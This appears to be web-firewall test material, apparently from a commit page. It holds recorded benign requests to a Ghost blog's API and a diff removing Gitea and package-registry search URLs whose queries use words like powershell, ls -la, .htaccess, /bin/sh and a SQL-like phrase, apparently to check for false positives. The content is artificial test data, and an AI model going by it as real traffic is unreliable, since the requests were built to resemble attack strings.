{"method": "PUT", "target": "/ghost/api/admin/integrations/6af5443aa509340001efcfc6/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\",\"description\":\"Runs ls -la and tidies .htaccess files\",\"icon_image\":null}]}"}
{"method": "POST", "target": "/ghost/api/admin/webhooks/", "headers": ["Host: example.com", "Content-Length: 202", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"webhooks\":[{\"event\":\"post.published\",\"target_url\":\"https://example.com/hooks/python3\",\"name\":\"python3 & powershell hook\",\"secret\":null,\"api_version\":\"v6\",\"integration_id\":\"6af5443aa509340001efcfc6\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/tags/?include=count.posts", "headers": ["Host: example.com", "Content-Length: 702", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AWHEHmHzgM_62oH0uUMxh6TgpQCaauWmB.h%2FuJNd7nfwPSaFGmMarZNVguG8U1ZIIJsaLFE4%2BqXMA"], "body": "{\"tags\":[{\"name\":\"Shell\",\"slug\":\"shell\",\"description\":null,\"feature_image\":null,\"meta_title\":\"python3 & powershell tips\",\"meta_description\":\"Run ls -la and tidy .htaccess files with python3.\",\"canonical_url\":\"https://example.com/tag/powershell/\",\"twitter_image\":null,\"twitter_title\":\"powershell & python3\",\"twitter_description\":\"ls -la, .htaccess and more\",\"og_image\":null,\"og_title\":\"python3 & powershell\",\"og_description\":\"ls -la and .htaccess tips\",\"codeinjection_head\":\"<meta name=\\\"google-site-verification\\\" content=\\\"x\\\"><link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\",\"codeinjection_foot\":\"<style>.tag-python3 { color: #333; }</style>\",\"accent_color\":null,\"visibility\":\"public\"}]}"}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 315", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"title\":\"Shell notes\",\"feature_image\":\"https://images.example.com/terminal.png\",\"feature_image_alt\":\"A terminal running ls -la on .htaccess with python3\",\"feature_image_caption\":\"python3 &amp; powershell, photo by <a href=\\\"https://example.com/ls-la\\\">Erin</a>\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/members/upload/", "headers": ["Host: example.com", "Content-Length: 990", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: multipart/form-data; boundary=----WebKitFormBoundaryq3Lm8vXc2TzR7wKd", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"membersfile\"; filename=\"members.csv\"\r\nContent-Type: text/csv\r\n\r\nemail,name,note,labels\r\npython3.dev@example.com,Grace python3,Asked about ls -la,powershell\r\nerin.htaccess@example.com,Erin,Tidies .htaccess files,python3\r\n\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npython3 import\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npowershell & .htaccess\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[email]\"\r\n\r\nemail\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[name]\"\r\n\r\nname\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[note]\"\r\n\r\nnote\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[labels]\"\r\n\r\nlabels\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd--\r\n"}
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&pathname=%2Fpython3-and-powershell%2F", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&source=powershell.example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&utm_campaign=powershell+%26+python3", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical&newsletter=default-newsletter&email_segment=label%3Apowershell-users", "headers": ["Host: example.com", "Content-Length: 74", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"status\":\"published\"}]}"}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27powershell+%26+python3%27&limit=25&fields=id%2Ctitle&order=published_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27ls+-la+%26+.htaccess%27&limit=25&fields=id%2Ctitle&order=published_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
{"method": "POST", "target": "/members/api/comments/", "headers": ["Host: example.com", "Content-Length: 161", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"post_id\":\"6af5443ba509340001efcfd1\",\"status\":\"published\",\"html\":\"<p>Thanks! I ran <code>ls -la</code> and fixed my .htaccess with python3.</p>\"}]}"}
{"method": "PUT", "target": "/members/api/comments/6af5443ba509340001efd00b/", "headers": ["Host: example.com", "Content-Length: 140", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"id\":\"6af5443ba509340001efd00b\",\"html\":\"<p>Thanks! I ran ls -la, then powershell, and fixed my .htaccess with python3.</p>\"}]}"}
{"method": "POST", "target": "/members/api/comments/", "headers": ["Host: example.com", "Content-Length: 220", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"post_id\":\"6af5443ba509340001efcfd1\",\"parent_id\":\"6af5443ba509340001efd00b\",\"in_reply_to_id\":\"6af5443ba509340001efd00b\",\"status\":\"published\",\"html\":\"<p>Same here: python3 &amp; powershell both work.</p>\"}]}"}
{"method": "GET", "target": "/members/api/comments/post/6af5443ba509340001efcfd1/?limit=20&filter=created_at%3A%3C%3D2026-11-12T04%3A44%3A43.000Z&page=2&order=created_at+desc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": ""}
{"method": "GET", "target": "/members/api/comments/6af5443ba509340001efd00b/replies/?limit=5&filter=id%3A%3E%276af5443ba509340001efd010%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": ""}
-161
View File
@@ -381,167 +381,6 @@
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE&search_mode=exact
/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE
# The API's searches that gitea and Forgejo share, sent with curl to gitea
# 1.27.3. Each searches for words that name commands and files, such as python3
# and .htaccess, and for plain words. A package name can hold a slash, as npm's
# @alice/tools-cli does, so the search of packages is also sent /bin/sh. The
# search of unadopted repositories takes an owner and a name.
/api/v1/repos/search?q=python3&limit=10
/api/v1/repos/search?q=powershell&limit=10
/api/v1/repos/search?q=ls%20-la&limit=10
/api/v1/repos/search?q=.htaccess&limit=10
/api/v1/repos/search?q=docker-compose.yml&limit=10
/api/v1/repos/search?q=tools&limit=10
/api/v1/users/search?q=python3
/api/v1/users/search?q=powershell
/api/v1/users/search?q=ls%20-la
/api/v1/users/search?q=.htaccess
/api/v1/users/search?q=bob
/api/v1/repos/issues/search?q=python3&type=issues&state=open
/api/v1/repos/issues/search?q=powershell&type=issues&state=open
/api/v1/repos/issues/search?q=ls%20-la&type=issues&state=open
/api/v1/repos/issues/search?q=.htaccess&type=issues&state=open
/api/v1/repos/issues/search?q=docker-compose.yml&type=issues&state=open
/api/v1/repos/issues/search?q=build&type=issues&state=open
/api/v1/repos/alice/tools/issues?state=open&q=python3
/api/v1/repos/alice/tools/issues?state=open&q=powershell
/api/v1/repos/alice/tools/issues?state=open&q=ls%20-la
/api/v1/repos/alice/tools/issues?state=open&q=.htaccess
/api/v1/repos/alice/tools/issues?state=open&q=docker-compose.yml
/api/v1/packages/alice?q=python3
/api/v1/packages/alice?q=powershell
/api/v1/packages/alice?q=ls%20-la
/api/v1/packages/alice?q=.htaccess
/api/v1/packages/alice?q=%2Fbin%2Fsh
/api/v1/packages/alice?q=install-script
/api/v1/packages/alice?q=%40alice%2Ftools-cli
/api/v1/topics/search?q=python3
/api/v1/topics/search?q=powershell
/api/v1/topics/search?q=ls%20-la
/api/v1/topics/search?q=.htaccess
/api/v1/topics/search?q=docker
/api/v1/orgs/acme/teams/search?q=python3
/api/v1/orgs/acme/teams/search?q=powershell
/api/v1/orgs/acme/teams/search?q=ls%20-la
/api/v1/orgs/acme/teams/search?q=.htaccess
/api/v1/orgs/acme/teams/search?q=developers
/api/v1/admin/emails/search?q=python3
/api/v1/admin/emails/search?q=powershell
/api/v1/admin/emails/search?q=ls%20-la
/api/v1/admin/emails/search?q=.htaccess
/api/v1/admin/emails/search?q=alice
/api/v1/admin/unadopted?query=python3
/api/v1/admin/unadopted?query=powershell
/api/v1/admin/unadopted?query=ls%20-la
/api/v1/admin/unadopted?query=.htaccess
/api/v1/admin/unadopted?query=alice%2Fpython3-app
/api/v1/admin/unadopted?query=alice%2Flegacy-site
/api/v1/repos/alice/tools/milestones?state=open&name=python3
/api/v1/repos/alice/tools/milestones?state=open&name=powershell
/api/v1/repos/alice/tools/milestones?state=open&name=ls%20-la
/api/v1/repos/alice/tools/milestones?state=open&name=.htaccess
/api/v1/repos/alice/tools/milestones?state=open&name=v1.0
# The package registries' searches, sent to gitea 1.27.3 by each registry's own
# client: cargo, knife, composer, conan 1 and 2, dotnet and npm. curl sent the
# requests no client sends: the Chef cookbook list with a search, and NuGet's
# Packages() with the search in $filter, as NuGet's client builds it for a feed
# without Search(). curl also sent each NuGet Search() and Packages() search to
# Search()/$count and Packages()/$count, which count its results. Each searches
# for words that name commands and files, such as python3 and .htaccess, and
# for plain words. A Composer, Conan or npm name can hold a slash, so those
# searches are also sent /bin/sh.
/api/packages/alice/cargo/api/v1/crates?q=python3&per_page=10
/api/packages/alice/cargo/api/v1/crates?q=powershell&per_page=10
/api/packages/alice/cargo/api/v1/crates?q=ls%20%2Dla&per_page=10
/api/packages/alice/cargo/api/v1/crates?q=%2Ehtaccess&per_page=10
/api/packages/alice/cargo/api/v1/crates?q=docker%2Dcompose%2Eyml&per_page=10
/api/packages/alice/cargo/api/v1/crates?q=tools&per_page=10
/api/packages/alice/chef/api/v1/search?q=python3&items=9999999&start=0
/api/packages/alice/chef/api/v1/search?q=powershell&items=9999999&start=0
/api/packages/alice/chef/api/v1/search?q=ls%20-la&items=9999999&start=0
/api/packages/alice/chef/api/v1/search?q=.htaccess&items=9999999&start=0
/api/packages/alice/chef/api/v1/search?q=docker-compose.yml&items=9999999&start=0
/api/packages/alice/chef/api/v1/search?q=tools&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=python3&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=powershell&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=ls%20-la&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=.htaccess&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=docker-compose.yml&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=tools&items=9999999&start=0
/api/packages/alice/composer/search.json?q=python3&type=
/api/packages/alice/composer/search.json?q=powershell&type=
/api/packages/alice/composer/search.json?q=ls+-la&type=
/api/packages/alice/composer/search.json?q=.htaccess&type=
/api/packages/alice/composer/search.json?q=%2Fbin%2Fsh&type=
/api/packages/alice/composer/search.json?q=alice%2Ftools-cli&type=
/api/packages/alice/composer/search.json?q=docker-compose.yml&type=
/api/packages/alice/composer/search.json?q=tools&type=
/api/packages/alice/conan/v1/conans/search?q=python3
/api/packages/alice/conan/v1/conans/search?q=powershell
/api/packages/alice/conan/v1/conans/search?q=ls+-la
/api/packages/alice/conan/v1/conans/search?q=.htaccess
/api/packages/alice/conan/v1/conans/search?q=%2Fbin%2Fsh
/api/packages/alice/conan/v1/conans/search?q=tools%2F%2A
/api/packages/alice/conan/v1/conans/search?q=docker-compose.yml
/api/packages/alice/conan/v1/conans/search?q=tools
/api/packages/alice/conan/v2/conans/search?q=python3
/api/packages/alice/conan/v2/conans/search?q=powershell
/api/packages/alice/conan/v2/conans/search?q=ls+-la
/api/packages/alice/conan/v2/conans/search?q=.htaccess
/api/packages/alice/conan/v2/conans/search?q=%2Fbin%2Fsh
/api/packages/alice/conan/v2/conans/search?q=tools%2F1.0%40alice%2Fstable
/api/packages/alice/conan/v2/conans/search?q=docker-compose.yml
/api/packages/alice/conan/v2/conans/search?q=tools
/api/packages/alice/nuget/query?q=python3&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/query?q=powershell&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/query?q=ls%20-la&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/query?q=.htaccess&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/query?q=docker-compose.yml&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/query?q=tools&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'python3'&$top=30
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'powershell'&$top=30
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'tools'&$top=30
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()/$count?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'python3'&$top=30
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'powershell'&$top=30
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'tools'&$top=30
/api/packages/alice/npm/-/v1/search?text=python3&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=powershell&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=ls+-la&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=.htaccess&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=%2Fbin%2Fsh&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=%40alice%2Ftools-cli&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=docker-compose.yml&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=tools&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
# Pages, raw files and edit pages of files, and the API's call for their
# contents.
/owner/repo/src/branch/main/package.json
+1 -1
View File
@@ -5,7 +5,7 @@
# before the rules it switches off, so this file is loaded before the Core Rule
# Set's rules. Each comment names a request a rule refused. An exclusion on a
